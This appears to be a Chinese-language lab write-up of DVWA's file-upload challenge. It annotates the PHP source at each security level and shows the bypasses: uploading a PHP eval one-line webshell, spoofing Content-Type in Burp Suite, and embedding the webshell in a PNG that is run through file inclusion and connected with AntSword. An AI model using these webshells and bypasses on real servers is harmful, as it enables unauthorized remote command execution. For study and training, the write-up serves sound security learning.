文件上传是很危险的漏洞,攻击者上传木马到服务器,可以获取服务器的操作权限

LOW

审计源码

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // 定义 文件上传位置,这里的 DVWA_WEB_PAGE_TO_ROOT 是作者自定义的一个变量
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. // 获取上传文件 uploaded 传参中的文件名
  6. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  7. // move_uploaded_file 将文件移动到新位置,成功返回 true
  8. // !进行取反
  9. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  10. // 如果文件上传失败,经过 ! 取反为 true,文件上传失败
  11. echo '<pre>Your image was not uploaded.</pre>';
  12. }
  13. else {
  14. // 如果文件上传成功,经过 ! 取反为 flase,文件上传成功
  15. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  16. }
  17. }
  18. ?>

通过代码设计,没有对上传的文件进行任何过滤,直接上传php文件即可

例如这里上传一句话木马

shell.php

  1. <?php @eval($_POST['cmd']);?>



可以看到文件上传成功,使用两个../../,代表当前目录前两级的目录,那么拼接url就是

上传文件页面:http://127.0.0.1/dvwa/vulnerabilities/upload/

上传文件位置:http://127.0.0.1/dvwa/hackable/uploads/shell.php

使用hacker进行连接测试



命令执行成功

Medium

审计源码

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // 定义文件上传位置
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. // 获取上传文件名
  6. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  7. // 获取上传文件名,文件类型,文件大小
  8. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  9. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  10. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  11. // 通过 文件类型 判断是否为 图片,文件大小需要小于 100000B(字节)大概(97.65625kb)
  12. if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  13. ( $uploaded_size < 100000 ) ) {
  14. // 判断文件是否上传成功
  15. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  16. // 上传失败
  17. echo '<pre>Your image was not uploaded.</pre>';
  18. }
  19. else {
  20. // 上传成功
  21. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  22. }
  23. }
  24. else {
  25. // 不满足图片的反馈
  26. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  27. }
  28. }
  29. ?>

这里检查了文件类型,但是这个文件类型是通过请求头中的Content-Type来判断的

使用burpsuite抓包,上传shell.php



抓包中可以看到,Content-Typeapplication/octet-stream

改为服务器允许的image/jpeg或者image/png



点击Forward,发送进行提交



可以看到文件上传成功

High

审计源码

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // 定义上传文件位置
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. // 拼接得到完整的上传路径
  6. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  7. // 获取上传文件名
  8. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  9. // 使用 substr() 函数进行截取文件名中 . 后面的内容
  10. // 通过 strrpos() 获取文件最后一次出现的位置, + 1 是因为 substr通过下标取值
  11. $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  12. // 获取上传文件大小
  13. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  14. // 获取临时上传文件的位置
  15. $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  16. // strtolower 将字符串转换为小写,判断后缀名是否为 jpg、jpeg、png ,且文件大小10000B
  17. // 最后又通过 getimagesize() 函数判断了文件的大小
  18. if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
  19. ( $uploaded_size < 100000 ) &&
  20. getimagesize( $uploaded_tmp ) ) {
  21. // 将临时上传文件移动到定义文件的上传位置
  22. if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
  23. // 文件上传失败
  24. echo '<pre>Your image was not uploaded.</pre>';
  25. }
  26. else {
  27. // 文件上传成功
  28. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  29. }
  30. }
  31. else {
  32. // 反馈上传不是图片
  33. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  34. }
  35. }
  36. ?>

通过strtolower转小写后缀必须是小写php,而且通过getimagesize来判断,所以文件内容必须是图片,文件必须小于100000B

即使如果这里又%00阶段,也无法绕过getimagesize的判断文件内容

这只有最后的选择,上传图片木马

图片木马是无法直接进行进行连接的,需要文件包含,当然除非个别网站将图片解析为php执行

生成图片木马

首先需要生成一个后缀名为jpg、jpeg、png的图片,这里建议使用win10自带的画图工具进行生成

首先准备一个使用画图工具生成一个test.png

然后创建一个shell.php内容为一句话木马

  1. <?php @eval($_POST['cmd']);?>

然后使用命令copy /b test.png+shell.php /a muma.png,将两个文件合并,生成一个muma.png



上传muma.png



可以看到上传成功,现在就是文件包含了,使用同等级的File include包含这个图片木马

http://192.168.31.132/dvwa/vulnerabilities/fi/?page=file://D:/phpstudy_pro/WWW/dvwa/hackable/uploads/muma.png

包含图片后页面一堆图片源文件,并没有执行什么



因为是一句话木马,所以使用蚁剑进行连接



再连接DVWA靶场的时候需要注意,DVWA是需要登录认证的,需要在请求信息中加入我们的cookie值



这个cookie可以从网路中获取



连接成功就可以靶机进行操作了

Impossible

审计源码


  1. <?php
  2. // 判断submit是否提交 Upload
  3. if( isset( $_POST[ 'Upload' ] ) ) {
  4. // 检查 user_token
  5. checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  6. // 获取文件名、文件后缀名、文件大小、文件类型、文件临时存储位置
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  11. $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  12. // 定义文件上传路径
  13. $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
  14. //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
  15. // 使用 uniqid() 函数生成一个唯一ID,和后缀名进行拼接,并使用md5进行加密
  16. $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  17. // 这里看不太清楚,和上面是类似的
  18. $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
  19. $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  20. // 判断文件后缀名是否为 jpg、jpeg、png,文件大小是否小于 100000B,Content-Type是否为image/jpeg,最后又通过getimagesize判断文件是否为图片
  21. if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
  22. ( $uploaded_size < 100000 ) &&
  23. ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
  24. getimagesize( $uploaded_tmp ) ) {
  25. // 如果文件类型是 image/jpeg,使用imagecreatefromjpeg()对图片进行处理
  26. // imagecreatefromjpeg()根据原图片创建一个新图片
  27. if( $uploaded_type == 'image/jpeg' ) {
  28. $img = imagecreatefromjpeg( $uploaded_tmp );
  29. // 将处理后的内容输出到上传的临时文件
  30. imagejpeg( $img, $temp_file, 100);
  31. }
  32. // 不是一个图片,也会对文件进行新建图片处理
  33. else {
  34. $img = imagecreatefrompng( $uploaded_tmp );
  35. // 将处理后的内容输出到上传的临时文件
  36. imagepng( $img, $temp_file, 9);
  37. }
  38. // 释放处理时占用的内容
  39. imagedestroy( $img );
  40. // getcwd()获取当前工作目录
  41. // rename()重命名,类似于移动
  42. if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
  43. // 移动成功
  44. echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
  45. }
  46. else {
  47. // 移动失败
  48. echo '<pre>Your image was not uploaded.</pre>';
  49. }
  50. // 删除临时文件
  51. // file_exists()检测文件是否存在
  52. // unlink()删除文件
  53. if( file_exists( $temp_file ) )
  54. unlink( $temp_file );
  55. }
  56. else {
  57. // 返回错误信息
  58. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  59. }
  60. }
  61. // 生成user_token
  62. generateSessionToken();
  63. ?>

对上传文件的名称生成了一个唯一ID并使用md5加密,然后对上传文件进行二次渲染。

DVWA-File Upload(文件上传)的更多相关文章

  1. DVWA之File Upload (文件上传漏洞)

    目录 Low: Medium: 方法一:抓包修改文件的type 方法二:00截断 High: Impossible : Low: 源代码: <?php if( isset( $_POST[ 'U ...

  2. jQuery File Upload 文件上传插件使用一 (最小安装 基本版)

    jQuery File Upload 是一款非常强大的文件上传处理插件,支持多文件上传,拖拽上传,进度条,文件验证及图片音视频预览,跨域上传等等. 可以说你能想到的功能它都有.你没想到的功能它也有.. ...

  3. jQuery File Upload文件上传插件简单使用

    前言 开发过程中有时候需要用户在前段上传图片信息,我们通常可以使用form标签设置enctype=”multipart/form-data” 属性上传图片,当我们点击submit按钮的时候,图片信息就 ...

  4. jQuery File Upload 文件上传插件使用二 (功能完善)

    使用Bootstrap美化进度条 Bootstrap现在几乎是人尽皆知了,根据它提供的进度条组件, 让进度条显得高大尚点 正因为其功能强大,js模块文件之间牵连较深 不好的地方耦合度非常高 重要的参数 ...

  5. jquery file upload 文件上传插件

    1. jquery file upload 下载 jquery file upload Demo 地址:https://blueimp.github.io/jQuery-File-Upload/ jq ...

  6. DVWA各等级文件上传漏洞

    file upload 文件上传漏洞,攻击者可以通过上传木马获取服务器的webshell权限. 文件上传漏洞的利用是 够成功上传木马文件, 其次上传文件必须能够被执行, 最后就是上传文件的路径必须可知 ...

  7. 1.4 DVWA亲测文件上传漏洞

    Low 先看看源代码: <?php if(isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $tar ...

  8. 动态input file多文件上传到后台没反应的解决方法!!!

    其实我也不太清除具体是什么原因,但是后面就可以了!!! 我用的是springMVC 自带的文件上传 1.首先肯定是要有springMVC上传文件的相关配置! 2.前端 这是动态input file上传 ...

  9. 封装upload文件上传类

    <?php //封装php中的单文件(图片)上传类 /*  //参数1:$file 文件数组  5个属性值 name,type,size,tmp,error   //参数2:文件保存的路径$pa ...

  10. jquery的input:type=file实现文件上传

    <!DOCTYPE html> <html> <head> <title>html5_2.html</title> <style> ...

随机推荐

  1. 2022-3-11内部群每日三题-清辉PMP

    1.供应商通知项目经理可能延迟交付一个模块.项目经理应该怎么做? A.立即通知相关方. B.通过增加额外的天数来修改项目管理计划,并记录它们对项目时间的影响. C.审查风险管理计划以评估风险,然后通知 ...

  2. SEO高质量外链怎么做?

    其实seo是一个很枯燥的东西,说技术也没有什么技术可言 1.你需要每天坚持更新你的网站,坚持写软文 2.你需要每天发外链,而且有质量的外链 3.你需要每天交换友情链接来增加网站的权重名 4.你需要每天 ...

  3. iOS开发之实现自定义浮动操作框效果

    今天有个需求是如上图实现类似微信的自定义浮动操作框效果 我自己就写了个demo,大家感兴趣的可以试试,下面是代码 VC代码如下 #import "TestCustomMenuItemVC.h ...

  4. t:datagrid 行编辑 类型备份

    如编辑文本类型: <t:dgCol extendParams="editor:'text'" /> 如编辑数值类型: <t:dgCol extendParams= ...

  5. Java-String常用API

    返回值类型 方法 用途 备注 char charAt(int index) 返回 char指定索引处的值.   int compareTo(String anotherString) 按字典顺序比较两 ...

  6. 从Sql Server转战Oracle 之 变量声明

    1 --两种声明方法:没有sql所谓的select或者select @para from table 以及 set 赋值,且赋值的时候需要在begin end事务内 2 一 直接声明 3 declar ...

  7. C++ OnlineJudge

    基本输入输出 1.接收多行数据,直到文件末尾 1 #include <iostream> 2 //#include <bits/stdc++.h> 3 #include < ...

  8. el-dropdown-item 添加点击 事件无效 (vue)

    如图 无效!!! 为什么呢?? 想了一下,可能是因为 el-dropdown-item   没有自定义click事件 so! 解决办法就是  添加原生事件  :  @click.native   还有 ...

  9. c++学习9 结构体

    一 结构体赋值 结构体赋值的方法有三种,逐个成员赋值,整体赋值和拷贝赋值. 设一个结构体有struck student{ int age;char ch[32]; }: 逐个成员赋值:student ...

  10. 1.2 Defining Computer Architecture

    Genuine Computer Architecture: Designing the Organization and Hardware to Meet Goals and Functional ...